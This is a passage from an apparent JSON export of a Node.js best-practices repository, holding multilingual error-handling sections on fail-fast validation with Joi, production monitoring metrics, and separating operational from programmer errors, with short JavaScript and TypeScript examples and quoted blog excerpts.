addNewMember(newMember) {\r\n // assertions come first\r\n Joi.assert(newMember, memberSchema); //throws if validation fails\r\n // other logic here\r\n}\r\n\r\n```\r\n\r\n### Anti-pattern: no validation yields nasty bugs\r\n\r\n```javascript\r\n// if the discount is positive let's then redirect the user to print his discount coupons\r\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\r\n    if (discount != 0) {\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n    }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember);\r\n// forgot to pass the parameter discount, why the heck was the user redirected to the discount screen?\r\n\r\n```\r\n\r\n### Blog Quote: \"You should throw these errors immediately\"\r\n\r\n From the blog: Joyent\r\n\r\n > A degenerate case is where someone calls an asynchronous function but doesn’t pass a callback. You should throw these errors immediately since the program is broken and the best chance of debugging it involves getting at least a stack trace and ideally a core file at the point of the error. To do this, we recommend validating the types of all arguments at the start of the function.\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.md",
    "content": "# Fail fast, validate arguments using a dedicated library\r\n\r\n### One Paragraph Explainer\r\n\r\nWe all know how checking arguments and failing fast is important to avoid hidden bugs (see anti-pattern code example below). If not, read about explicit programming and defensive programming. In reality, we tend to avoid it due to the annoyance of coding it (e.g. think of validating hierarchical JSON object with fields like email and dates) – libraries like Joi and Validator turn this tedious task into a breeze.\r\n\r\n### Wikipedia: Defensive Programming\r\n\r\nDefensive programming is an approach to improve software and source code, in terms of General quality – reducing the number of software bugs and problems. Making the source code comprehensible – the source code should be readable and understandable so it is approved in a code audit. Making the software behave in a predictable manner despite unexpected inputs or user actions.\r\n\r\n### Code example: validating complex JSON input using ‘Joi’\r\n\r\n```javascript\r\nconst memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n\r\nfunction addNewMember(newMember) {\r\n // assertions come first\r\n Joi.assert(newMember, memberSchema); //throws if validation fails\r\n // other logic here\r\n}\r\n```\r\n\r\n\r\n\r\n### Anti-pattern: no validation yields nasty bugs\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// if the discount is positive let's then redirect the user to print his discount coupons\r\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\r\n    if (discount != 0) {\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n    }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember);\r\n// forgot to pass the parameter discount, why the heck was the user redirected to the discount screen?\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// if the discount is positive let's then redirect the user to print his discount coupons\r\nfunction redirectToPrintDiscount(httpResponse: Response, member: Member, discount: number) {\r\n  if (discount != 0) {\r\n    httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n  }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember, -12);\r\n// We passed a negative parameter discount, why the heck was the user redirected to the discount screen?\r\n```\r\n</details>\r\n\r\n### Blog Quote: \"You should throw these errors immediately\"\r\n\r\n From the blog: Joyent\r\n\r\n > A degenerate case is where someone calls an asynchronous function but doesn’t pass a callback. You should throw these errors immediately since the program is broken and the best chance of debugging it involves getting at least a stack trace and ideally a core file at the point of the error. To do this, we recommend validating the types of all arguments at the start of the function.\r\n"
  },
  {
    "path": "sections/errorhandling/failfast.polish.md",
    "content": "# Szybko się nie powiedzie, sprawdź poprawność argumentów za pomocą dedykowanej biblioteki\n\n### Wyjaśnienie jednym akapitem\n\nWszyscy wiemy, jak sprawdzanie argumentów i szybkie niepowodzenie jest ważne, aby uniknąć ukrytych błędów (patrz przykład kodu anty-wzorca poniżej). Jeśli nie, przeczytaj o programowaniu jawnym i programowaniu defensywnym. W rzeczywistości staramy się go unikać ze względu na irytację związaną z jego kodowaniem (np. myśl o sprawdzeniu poprawności hierarchicznego obiektu JSON za pomocą pól takich jak e-mail i daty) - biblioteki takie jak Joi i Validator zmieniają to żmudne zadanie w bryłę.\n\n### Wikipedia: Defensive Programming\n\nProgramowanie defensywne to podejście do ulepszania oprogramowania i kodu źródłowego pod względem ogólnej jakości - zmniejszające liczbę błędów oprogramowania i problemów. Uczynienie kodu źródłowego zrozumiałym - kod źródłowy powinien być czytelny i zrozumiały, aby został zatwierdzony podczas audytu kodu. Sprawiając, że oprogramowanie zachowuje się w przewidywalny sposób, pomimo nieoczekiwanych danych wejściowych lub działań użytkownika.\n\n### Przykład kodu: sprawdzanie poprawności złożonego wejścia JSON przy użyciu ‘Joi’\n\n```javascript\nvar memberSchema = Joi.object().keys({\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\n birthyear: Joi.number().integer().min(1900).max(2013),\n email: Joi.string().email()\n});\n\nfunction addNewMember(newMember) {\n // assertions come first\n Joi.assert(newMember, memberSchema); //throws if validation fails\n // other logic here\n}\n```\n\n\n\n### Antywzorzec: brak sprawdzania poprawności powoduje nieprzyjemne błędy\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\n// if the discount is positive let's then redirect the user to print his discount coupons\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\n    if (discount != 0) {\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\n    }\n}\n\nredirectToPrintDiscount(httpResponse, someMember);\n// forgot to pass the parameter discount, why the heck was the user redirected to the discount screen?\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\n// if the discount is positive let's then redirect the user to print his discount coupons\nfunction redirectToPrintDiscount(httpResponse: Response, member: Member, discount: number) {\n  if (discount != 0) {\n    httpResponse.redirect(`/discountPrintView/${member.id}`);\n  }\n}\n\nredirectToPrintDiscount(httpResponse, someMember, -12);\n// We passed a negative parameter discount, why the heck was the user redirected to the discount screen?\n```\n</details>\n\n### Cytat z Bloga: \"You should throw these errors immediately\"\n\nZ bloga: Joyent\n\n > A degenerate case is where someone calls an asynchronous function but doesn’t pass a callback. You should throw these errors immediately since the program is broken and the best chance of debugging it involves getting at least a stack trace and ideally a core file at the point of the error. To do this, we recommend validating the types of all arguments at the start of the function.\n"
  },
  {
    "path": "sections/errorhandling/failfast.russian.md",
    "content": "# Быстро проваливайтесь, проверяя аргументы, используя выделенную библиотеку\r\n\r\n### Объяснение в один абзац\r\n\r\nМы все знаем, как важно проверять аргументы и быстро отказывать, чтобы избежать скрытых ошибок (см. пример кода анти-паттерна ниже). Если нет, прочитайте о явном программировании и защитном программировании. В действительности, мы склонны избегать этого из-за досадного кодирования (например, проверка правильности иерархического объекта JSON с полями, такими как электронная почта и даты) - библиотеки, такие как Joi и Validator, превращают эту утомительную задачу в бриз.\r\n\r\n### Википедия: защитное программирование\r\n\r\nЗащитное программирование - это подход к улучшению программного обеспечения и исходного кода, с точки зрения общего качества - уменьшения количества программных ошибок и проблем. Делать исходный код понятным - исходный код должен быть читаемым и понятным, чтобы он был одобрен в ходе аудита кода. Заставить программное обеспечение вести себя предсказуемо, несмотря на неожиданные входные данные или действия пользователя.\r\n\r\n### Пример кода: проверка сложного ввода JSON с помощью \"Joi\"\r\n\r\n```javascript\r\nvar memberSchema = Joi.object().keys({\r\n password: Joi.string().regex(/^[a-zA-Z0-9]{3,30}$/),\r\n birthyear: Joi.number().integer().min(1900).max(2013),\r\n email: Joi.string().email()\r\n});\r\n\r\nfunction addNewMember(newMember) {\r\n // assertions come first\r\n Joi.assert(newMember, memberSchema); //throws if validation fails\r\n // other logic here\r\n}\r\n```\r\n\r\n\r\n\r\n### Анти-шаблон: проверка не приводит к неприятным ошибкам\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// if the discount is positive let's then redirect the user to print his discount coupons\r\nfunction redirectToPrintDiscount(httpResponse, member, discount) {\r\n    if (discount != 0) {\r\n        httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n    }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember);\r\n// forgot to pass the parameter discount, why the heck was the user redirected to the discount screen?\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// if the discount is positive let's then redirect the user to print his discount coupons\r\nfunction redirectToPrintDiscount(httpResponse: Response, member: Member, discount: number) {\r\n  if (discount != 0) {\r\n    httpResponse.redirect(`/discountPrintView/${member.id}`);\r\n  }\r\n}\r\n\r\nredirectToPrintDiscount(httpResponse, someMember, -12);\r\n// We passed a negative parameter discount, why the heck was the user redirected to the discount screen?\r\n```\r\n</details>\r\n\r\n### Цитата блога: \"Вы должны немедленно выбросить эти ошибки\"\r\n\r\nИз блога: Джойент\r\n\r\n> Вырожденный случай - это когда кто-то вызывает асинхронную функцию, но не передает обратный вызов. Вы должны немедленно выбросить эти ошибки, так как программа не работает, и наилучшая возможность отладки заключается в получении как минимум трассировки стека и, в идеале, файла ядра в точке ошибки. Для этого мы рекомендуем проверять типы всех аргументов в начале функции.\r\n"
  },
  {
    "path": "sections/errorhandling/monitoring.chinese.md",
    "content": "# 监控\r\n\r\n\r\n### 一段解释\r\n\r\n> 在最基本的层面上，监控意味着您可以很*容易地识别出在生产环境中发生了什么不好的事情，例如，通过电子邮件或Slack通知。挑战在于选择合适的工具集来满足您的需求而不会破坏您的防护。我建议，从确定核心的指标集开始，这些指标必须被监控以确保一个健康的状态 – CPU，服务器的RAM，node进程RAM（小于1.4GB），在最后一分钟的错误量，进程重新启动的数量，平均响应时间。然后浏览一些你可能喜欢的高级功能并添加到你的愿望清单中。一些豪华的监控功能的例子：数据库分析，跨服务的测量（即测量业务交易），前端整合，暴露原始数据给自定义的BI clients，Slack通知及其他。\r\n\r\n实现高级功能需要冗长的设置或购买商业产品如datadog，NewRelic和相似产品。不幸的是，即使是基本的实现也不像在公园散步那么简单，因为一些度量指标是硬件相关的（CPU），而其他的则在node进程内（内部错误），因此所有直接了当的工具都需要一些额外的设置。例如，云供应商监控解决方案（如AWS CloudWatch，谷歌Stackdriver）将立即告诉你关于硬件度量，但对内部应用程序的行为却无可奉告。在另一端，基于日志的解决方案如Elasticsearch默认情况下缺少hardware view。解决方案是用缺少的指标来增加您的选择，例如，一个流行的选择是将应用程序日志发送到Elastic stack，并配置一些额外的代理（如Beat）来共享与硬件相关的信息以获得完整的画面。\r\n\r\n### 博客引用: \"我们对于promise有一个问题\"\r\n 摘自博客 pouchdb.com, 对于关键字“node promises”，排名11\r\n \r\n > … 我们建议您为所有服务监视这些信号：\r\n错误率：因为错误是面向用户的，并且会立即影响您的客户。\r\n响应时间：因为延迟直接影响您的客户和业务。\r\n吞吐量：流量有助于您了解错误率增加和延迟的上下文。\r\n饱和度：它告诉您的服务负载多少。如果CPU使用率是90%，你的系统能处理更多的流量吗？\r\n…  \r\n"
  },
  {
    "path": "sections/errorhandling/monitoring.french.md",
    "content": "# Surveillance\n\n### Un paragraphe d'explication\n\n> Au niveau le plus élémentaire, la surveillance signifie que vous pouvez facilement identifier quand de mauvaises choses se produisent en production. Par exemple, en étant averti par email ou Slack. Le défi est de choisir le bon ensemble d'outils qui répondra à vos besoins sans vous ruiner. Permettez-moi de vous suggérer de commencer par définir l'ensemble des paramètres de base qui doivent être surveillés pour garantir un état sain - CPU, RAM du serveur, RAM du processus de Node (moins de 1,4 GB), le nombre d'erreurs dans la dernière minute, le nombre de redémarrages du processus , temps de réponse moyen. Ensuite, passez en revue certaines fonctionnalités avancées dont vous pourriez avoir envie et ajoutez-les à votre liste de souhaits. Quelques exemples d'une fonction de surveillance de luxe : profilage de base de données, mesure interservices (c.-à-d. mesurer les transactions commerciales), intégration frontale, exposer les données brutes aux clients BI personnalisés, notifications Slack et bien d'autres.\n\nLa réalisation des fonctionnalités avancées nécessite une configuration longue ou l'achat d'un produit commercial tel que Datadog, newrelic et similaires. Malheureusement, atteindre même les bases n'est pas une promenade de santé car certaines mesures sont liées au matériel (CPU) et d'autres vivent dans le processus de Node (erreurs internes), donc tous les outils simples nécessitent une configuration supplémentaire. Par exemple, les solutions de surveillance des fournisseurs de cloud (par exemple AWS CloudWatch, Google StackDriver) vous informeront immédiatement de la métrique du matériel, mais rien du comportement de l'application interne. À l'autre extrémité, les solutions basées sur les journaux telles que ElasticSearch manquent par défaut de la vue matérielle. La solution consiste à étendre votre choix avec des mesures manquantes, par exemple, un choix populaire consiste à envoyer des journaux d'application à la pile Elastic et à configurer un agent supplémentaire (par exemple Beat) pour partager des informations liées au matériel pour obtenir une image complète.\n\n### Citation de blog : « Nous avons un problème avec les promesses\"\n\n Extrait du blog de pouchdb.com classé en 11eme position pour les mots clés “Node Promises”\n\n > … Nous vous recommandons de surveiller ces signaux pour tous vos services : Taux d'erreur : parce que les erreurs sont confrontées à l'utilisateur et affectent immédiatement vos clients.\nTemps de réponse : car la latence affecte directement vos clients et votre entreprise.\nDébit : le trafic vous aide à comprendre le contexte de l'augmentation des taux d'erreur et de la latence également.\nSaturation : il indique à quel point votre service est « saturé ». Si l'utilisation du processeur est de 90%, votre système peut-il gérer plus de trafic ?\n…\n"
  },
  {
    "path": "sections/errorhandling/monitoring.japanese.md",
    "content": "# Monitoring\r\n\r\n### One Paragraph Explainer\r\n\r\n> At the very basic level, monitoring means you can *easily identify when bad things happen at production. For example, by getting notified by email or Slack. The challenge is to choose the right set of tools that will satisfy your requirements without breaking your bank. May I suggest, start with defining the core set of metrics that must be watched to ensure a healthy state – CPU, server RAM,  Node process RAM (less than 1.4GB), the number of errors in the last minute, number of process restarts, average response time. Then go over some advanced features you might fancy and add to your wish list. Some examples of a luxury monitoring feature: DB profiling, cross-service measuring (i.e. measure business transaction), front-end integration, expose raw data to custom BI clients, Slack notifications and many others.\r\n\r\nAchieving the advanced features demands lengthy setup or buying a commercial product such as Datadog, newrelic and alike. Unfortunately, achieving even the basics is not a walk in the park as some metrics are hardware-related (CPU) and others live within the node process (internal errors) thus all the straightforward tools require some additional setup. For example, cloud vendor monitoring solutions (e.g. AWS CloudWatch, Google StackDriver) will tell you immediately about the hardware metric but nothing about the internal app behavior. On the other end, Log-based solutions such as ElasticSearch lack by default the hardware view. The solution is to augment your choice with missing metrics, for example, a popular choice is sending application logs to Elastic stack and configure some additional agent (e.g. Beat) to share hardware-related information to get the full picture.\r\n\r\n### Blog Quote: \"We have a problem with promises\"\r\n\r\n From the blog, pouchdb.com ranked 11 for the keywords “Node Promises”\r\n\r\n > … We recommend you to watch these signals for all of your services: Error Rate: Because errors are user facing and immediately affect your customers.\r\nResponse time: Because the latency directly affects your customers and business.\r\nThroughput: The traffic helps you to understand the context of increased error rates and the latency too.\r\nSaturation: It tells how “full” your service is. If the CPU usage is 90%, can your system handle more traffic?\r\n…\r\n"
  },
  {
    "path": "sections/errorhandling/monitoring.md",
    "content": "# Monitoring\r\n\r\n### One Paragraph Explainer\r\n\r\n> At the very basic level, monitoring means you can *easily identify when bad things happen at production. For example, by getting notified by email or Slack. The challenge is to choose the right set of tools that will satisfy your requirements without breaking your bank. May I suggest, start with defining the core set of metrics that must be watched to ensure a healthy state – CPU, server RAM,  Node process RAM (less than 1.4GB), the number of errors in the last minute, number of process restarts, average response time. Then go over some advanced features you might fancy and add to your wish list. Some examples of a luxury monitoring feature: DB profiling, cross-service measuring (i.e. measure business transaction), front-end integration, expose raw data to custom BI clients, Slack notifications and many others.\r\n\r\nAchieving the advanced features demands lengthy setup or buying a commercial product such as Datadog, newrelic and alike. Unfortunately, achieving even the basics is not a walk in the park as some metrics are hardware-related (CPU) and others live within the node process (internal errors) thus all the straightforward tools require some additional setup. For example, cloud vendor monitoring solutions (e.g. AWS CloudWatch, Google StackDriver) will tell you immediately about the hardware metric but nothing about the internal app behavior. On the other end, Log-based solutions such as ElasticSearch lack by default the hardware view. The solution is to augment your choice with missing metrics, for example, a popular choice is sending application logs to Elastic stack and configure some additional agent (e.g. Beat) to share hardware-related information to get the full picture.\r\n\r\n### Blog Quote: \"We have a problem with promises\"\r\n\r\n From the blog, pouchdb.com ranked 11 for the keywords “Node Promises”\r\n\r\n > … We recommend you to watch these signals for all of your services: Error Rate: Because errors are user facing and immediately affect your customers.\r\nResponse time: Because the latency directly affects your customers and business.\r\nThroughput: The traffic helps you to understand the context of increased error rates and the latency too.\r\nSaturation: It tells how “full” your service is. If the CPU usage is 90%, can your system handle more traffic?\r\n…\r\n"
  },
  {
    "path": "sections/errorhandling/monitoring.russian.md",
    "content": "# Мониторинг\r\n\r\n### Объяснение в один абзац\r\n\r\n> На самом базовом уровне мониторинг означает, что вы можете *легко определить, когда на производстве происходят плохие вещи. Например, получая уведомления по электронной почте или Slack. Задача состоит в том, чтобы выбрать правильный набор инструментов, который удовлетворит ваши требования, не нарушая ваш банк. Позвольте мне начать с определения базового набора метрик, которые необходимо отслеживать для обеспечения работоспособного состояния - ЦП, ОЗУ сервера, ОЗУ процесса узла (менее 1,4 ГБ), количество ошибок в последнюю минуту, количество перезапусков процесса, среднее время ответа. Затем перейдите к некоторым дополнительным функциям, которые вам могут понравиться, и добавьте их в свой список пожеланий. Некоторые примеры функции мониторинга класса \"люкс\": профилирование БД, межсервисное измерение (то есть измерение бизнес-транзакций), интеграция с внешним интерфейсом, предоставление необработанных данных для пользовательских клиентов BI, уведомления Slack и многие другие.\r\n\r\nДля реализации расширенных функций требуется длительная настройка или покупка коммерческого продукта, такого как Datadog, newrelic и тому подобное. К сожалению, достижение даже базовых знаний - это не прогулка в парке, поскольку некоторые метрики связаны с аппаратным обеспечением (ЦП), а другие живут в процессе узла (внутренние ошибки), поэтому все простые инструменты требуют некоторой дополнительной настройки. Например, решения для мониторинга поставщиков облачных вычислений (например, AWS CloudWatch, Google StackDriver) немедленно сообщат вам о метрике аппаратного обеспечения, но ничего не скажут о поведении внутреннего приложения. С другой стороны, в решениях на основе журналов, таких как ElasticSearch, по умолчанию отсутствует аппаратное представление. Решение состоит в том, чтобы дополнить ваш выбор отсутствующими метриками, например, популярным выбором является отправка журналов приложений в стек Elastic и настройка некоторого дополнительного агента (например, Beat) для обмена информацией, относящейся к оборудованию, для получения полной картины.\r\n\r\n### Цитата из блога: \"У нас проблема с обещаниями\"\r\n\r\nИз блога pouchdb.com, занимавший 11 место по ключевым словам \"Узловые обещания\"\r\n\r\n> … Мы рекомендуем вам смотреть эти сигналы для всех ваших сервисов: Частота ошибок: потому что ошибки связаны с пользователем и сразу же влияют на ваших клиентов.\r\nВремя ответа: потому что задержка напрямую влияет на ваших клиентов и бизнес.\r\nПропускная способность: трафик помогает понять контекст повышенной частоты ошибок и задержки.\r\nНагрузка: говорит о том, насколько \"полон\" ваш сервис. Если загрузка процессора составляет 90%, может ли ваша система обрабатывать больше трафика?\r\n…\r\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.basque.md",
    "content": "# Bereizi eragiketa erroreak eta programazio erroreak\r\n\r\n### Azalpena\r\n\r\nOndorengo bi errore mota hauek bereizteak zure aplikazioaren matxura denbora gutxitu eta programazio errore eroak ekiditen lagunduko dizu. Batetik, eragiketa erroreak daude, gertatutako arazoa eta haren ondorioak ulertzen dituzunean (adibidez, HTTP zerbitzu bati egindako deiak huts egitea, konexio arazoak direla eta. Bestetik, errorea zergatik eta nondik etorri den ez dakizun egoerei programatze errore deritze (balio zehaztugabe bat irakurtzen saiatzen den kodea edo memoria ihes egiten dion datu basea izan daitezke). Eragiketa erroreak besteen aldean kudea errazak dira, eta normalean nahikoa izaten da errorea erregistratzea. Gauzak konplikatuagoak izan daitezke garatzaile errore bat tupustean agertzen denean, aplikazioa egoera aldakorrean aurki baitaiteke. Horrelakoetan, aplikazioa  berrabiarazi baino irtenbide hoberik ez duzu\r\n\r\n### Kode adibidea: erroreak eragiketa errore (konfiantzazko) bihurtu\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\n// errore objektu bat eragiketa errore bihurtu\r\nconst nireErrorea = new Error(\r\n  \"Nola gehi dezaket produktu bat baliorik ez duenean?\"\r\n);\r\nnireErrorea.funtzionatzenDu = true;\r\n\r\n// edota errore eraikitzaile zentralizaturen bat erabiltzen baduzu (begiratu beste adibide batzuk \"Erabili soilik “Errorea” objektu kapsulatua\", 2.2, atalean)\r\nclass AppErrorea {\r\n  constructor(ohikoMota, deskribapena, funtzionatzenDu) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.ohikoMota = ohikoMota;\r\n    this.deskribapena = deskribapena;\r\n    this.funtzionatzenDu = funtzionatzenDu;\r\n  }\r\n}\r\n\r\nthrow new AppErrorea(\r\n  erroreKudeatzailea.ohikoErroreak.SarreraOkerra,\r\n  \"Deskribatu hemen gertatutakoa\",\r\n  true\r\n);\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\n// errore eraikitzaile zentralizatu batzuk (begiratu beste adibide batzuk \"Erabili soilik “Errorea” objektu kapsulatua\", 2.2, atalean)\r\nexport class AppErrorea extends Error {\r\n  public readonly ohikoMota: string;\r\n  public readonly funtzionatzenDu: boolean;\r\n\r\n  constructor(\r\n    ohikoMota: string,\r\n    description: string,\r\n    funtzionatzenDu: boolean\r\n  ) {\r\n    super(description);\r\n\r\n    Object.setPrototypeOf(this, new.target.prototype); // restore prototype chain\r\n\r\n    this.ohikoMota = ohikoMota;\r\n    this.funtzionatzenDu = funtzionatzenDu;\r\n\r\n    Error.atzemanErrorePila(this);\r\n  }\r\n}\r\n\r\n// errore objektu bat eragiketa errore bihurtu (true)\r\nthrow new AppErrorea(\r\n  erroreKudeatzailea.ohikoErroreak.SarreraOkerra,\r\n  \"Deskribatu hemen gertatutakoa\",\r\n  true\r\n);\r\n```\r\n\r\n</details>\r\n\r\n### Blog aipua: \"Programatzaileen erroreak programatze erroreak dira programan\"\r\n\r\nJoyent blogeko “Node.js errore kudeaketa\" hitz gako bati esker sailkatua\r\n\r\n> …Programatzaile erroreak gainditzeko modurik hoberena berehala huts eragitea da. Huts egiteren bat gertatzean automatikoki berrekingo dituen berrekite sistemaren bat erabiliz exekutatu beharko zenituzten zure programak. Berrekite sistemei esker, huts egitea da modurik azkarrena programatzaile errore iragankorrak gertatzean zerbitzua berreskuratzeko modu fidagarrian…\r\n\r\n### Blog aipua: \"Alde egiteko modu segururik ez dago zehaztugabeko egoera hauskorrik sortu gabe\"\r\n\r\nNode.js dokumentazio ofiziala\r\n\r\n> …Throw-ek JavaScripten nola funtzionatzen duen kontuan izanda, ez dago ia inoiz ataza bati modu seguruan “bertan behera utzitako puntuan segida ematerik” erreferentziak galdu gabe edota bestelako egoera hauskor zehaztugaberik sortu gabe. Jaurtitako erroreei erantzuteko modurik seguruena prozesua gelditzea da. Jakina, web zerbitzari arruntetan, konexio ugari eduki ahal ditzakezu irekita, eta ez da zentzuzkoa tupustean haiek ixtea beste batek eragindako errore batengatik. Planteamendu hoberena da errorea bidali duen eskariari errore erantzun bat bidaltzea, besteei beren atazak bukatzeko denbora emanez, eta eskari berriei kasu egiteari utzi prozesu horretan\r\n\r\n### Blog aipua: \"Bestela zure aplikazioaren egoera arriskuan jar dezakezu\"\r\n\r\ndebugable.com blogeko “Node.js atzeman gabeko salbuespena\" 3 hitz gakoari esker sailkatua\r\n\r\n> …Beraz, baldin eta benetan zer egiten ari zaren jakinez gero, “uncaughtException” salbuespen gertaera jaso ostean zure zerbitzuari berrekin beharko zenioke, behar bezala berrekin ere. Bestela, zure aplikazioaren egoera arriskuan jar dezakezu, edota haren liburutegiak aldakor bihurtuarazi, mota guztietako errore zoroak eraginez…\r\n\r\n### Blog aipua: \"Errore kudeaketaren inguruko hiru ideia eskola daude\"\r\n\r\nJS Recipes bloga\r\n\r\n> …Errore kudeaketaren inguruko hiru ideia eskola daude:\r\n\r\n1. Utzi aplikazioak huts egin dezan eta ondoren berrekin.\r\n2. Kudeatu errore posible guztiak eta inoiz ez huts egin.\r\n3. Bien arteko planteamendu bat.\r\n"
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.brazilian-portuguese.md",
    "content": "# Diferencie erros operacionais vs erros de programação\r\n\r\n### Explicação em um Parágrafo\r\n\r\nDistinguir os dois tipos de erros a seguir minimizará o tempo de inatividade do seu aplicativo e ajudará a evitar bugs insanos: Erros operacionais referem-se a situações em que você entende o que aconteceu e o impacto disso – por exemplo, uma consulta a algum serviço HTTP falhou devido a um problema de conexão. Por outro lado, os erros do programador referem-se a casos em que você não tem idéia do motivo e, às vezes, de onde um erro ocorreu – Pode ser algum código que tentou ler um valor indefinido ou um conjunto de conexões de banco de dados que vaze memória. Erros operacionais são relativamente fáceis de lidar – geralmente registrar o erro é o suficiente. As coisas ficam complicadas quando um erro do programador aparece, o aplicativo pode estar em um estado inconsistente e não há nada melhor que você possa fazer do que reiniciar normalmente.\r\n\r\n### Exemplo de código - marcando um erro como operacional (confiável)\r\n\r\n```javascript\r\n// marcando um objeto de erro como operacional \r\nconst myError = new Error(\"Como posso adicionar um novo produto quando nenhum valor é fornecido?\");\r\nmyError.isOperational = true;\r\n\r\n// ou se você estiver usando alguma fábrica centralizada de erros (veja outros exemplos no marcador \"Use somente o objeto Error interno\")\r\nclass AppError {\r\n  constructor (commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n  }\r\n};\r\n\r\nthrow new AppError(errorManagement.commonErrors.InvalidInput, \"Descreva aqui o que aconteceu\", true);\r\n\r\n```\r\n\r\n### Citação de Blog: \"Erros do programador são bugs no programa\"\r\n\r\nDo blog, Joyent classificado como 1 para as palavras-chave “Node.js error handling”\r\n\r\n > …A melhor maneira de se recuperar de erros de programação é travar imediatamente. Você deve executar seus programas usando um restaurador que irá reiniciar automaticamente o programa em caso de falha. Com um reinicializador executando, reiniciar é a maneira mais rápida de restaurar o serviço confiável diante de um erro temporário do programador…\r\n\r\n### Citação de Blog: \"Não há maneira segura de sair sem criar algum estado frágil indefinido\"\r\n\r\nDa documentação oficial do Node.js\r\n\r\n > …Pela própria natureza de como o throw funciona em JavaScript, quase nunca há como \"continuar de onde você parou\" com segurança, sem vazar referências, ou criar algum outro tipo de estado frágil indefinido. A maneira mais segura de responder a um erro é desligar o processo. É claro que, em um servidor web normal, você pode ter muitas conexões abertas, e não é razoável encerrá-las abruptamente porque um erro foi acionado por outra pessoa. A melhor abordagem é enviar uma resposta de erro à solicitação que acionou o erro, deixando as outras concluírem em seu tempo normal e parar de atender novas solicitações nesse processo..\r\n\r\n### Citação de Blog: \"Caso contrário, você arrisca o estado do seu aplicativo\"\r\n\r\nDo blog, debugable.com classificado como 3 para as palavras-chave “Node.js uncaught exception”\r\n\r\n > …Então, a menos que você realmente saiba o que está fazendo, você deve executar um reinício do seu serviço depois de receber um“uncaughtException” evento de exceção. Caso contrário, você corre o risco de que o estado do seu aplicativo, ou de bibliotecas de terceiros, se torne inconsistente, levando a todos os tipos de bugs malucos…\r\n\r\n### \"Citação de Blog: Existem três escolas de pensamentos sobre tratamento de erros\"\r\n\r\nDo blog: JS Recipes\r\n\r\n> …Existem basicamente três escolas de pensamento sobre tratamento de erros:\r\n1. Deixar o aplicativo travar e reiniciá-lo.\r\n2. Lidar com todos os erros possíveis e nunca travar.\r\n3. Uma abordagem equilibrada entre os dois."
  },
  {
    "path": "sections/errorhandling/operationalvsprogrammererror.chinese.md",
    "content": "# 区分操作型错误和程序型错误\r\n\r\n### 一段解释\r\n\r\n区分以下两种错误类型将最大限度地减少应用程序停机时间并帮助避免出现荒唐的错误: 操作型错误指的是您了解发生了什么情况及其影响的情形 – 例如, 由于连接问题而导致对某些 HTTP 服务的查询失败问题。另一方面, 程序型错误指的是您不知道原因, 有时是错误不知道来自何处的情况 – 可能是一些代码试图读取未定义的值或 DB 连接池内存泄漏。操作型错误相对容易处理 – 通常记录错误就足够了。当程序型错误出现，事情变得难以应付, 应用程序可能处于不一致状态, 你可以做的，没有什么比优雅的重新启动更好了。\r\n\r\n\r\n\r\n### 代码示例 – 将错误标记为可操作 (受信任)\r\n\r\n```javascript\r\n//将错误标记为可操作 \r\nvar myError = new Error(\"How can I add new product when no value provided?\");\r\nmyError.isOperational = true;\r\n \r\n//或者, 如果您使用的是一些集中式错误工厂 (请参见项目符号中的示例\"仅使用内置错误对象\")\r\nfunction appError(commonType, description, isOperational) {\r\n    Error.call(this);\r\n    Error.captureStackTrace(this);\r\n    this.commonType = commonType;\r\n    this.description = description;\r\n    this.isOperational = isOperational;\r\n};\r\n \r\nthrow new appError(errorManagement.commonErrors.InvalidInput, \"Describe here what happened\", true);\r\n\r\n```\r\n\r\n### 博客引用: \"程序型错误是程序中的 bug\"\r\n 摘自博客 Joyent, 对于关键字“Node.JS error handling”排名第一\r\n \r\n > …从程序型错误中恢复的最好方法是立即崩溃。您应该使用restarter运行程序, 以便在发生崩溃时自动重新启动程序。在一个使用了restarter的地方, 在面对一个瞬态程序型错误, 崩溃是最快的方式来恢复可靠的服务…\r\n\r\n ### 博客引用: \"不伴随着创建一些未定义的脆性状态，没有安全的方式可以离开\"\r\n 摘自Node.JS官方文档\r\n \r\n > …从 JavaScript throw 的工作原理上讲, 几乎没有任何方法可以安全地“在你跌倒的地方重新爬起来”而不引发泄漏且不创建一些其他形式的未定义的脆性状态。响应（未定义的）抛出错误的最安全方法是关闭进程。当然, 通常 web 服务器可能会有许多连接正在通信, 由于某个人触发了错误而突然关闭那些连接是不合理的。更好的方法是让该工作进程向触发错误的请求发送错误响应, 同时保持其它请求正常进行直至完成, 并停止侦听的新的请求。（译者注：为优雅重启做准备）\r\n\r\n ### 博客引用: 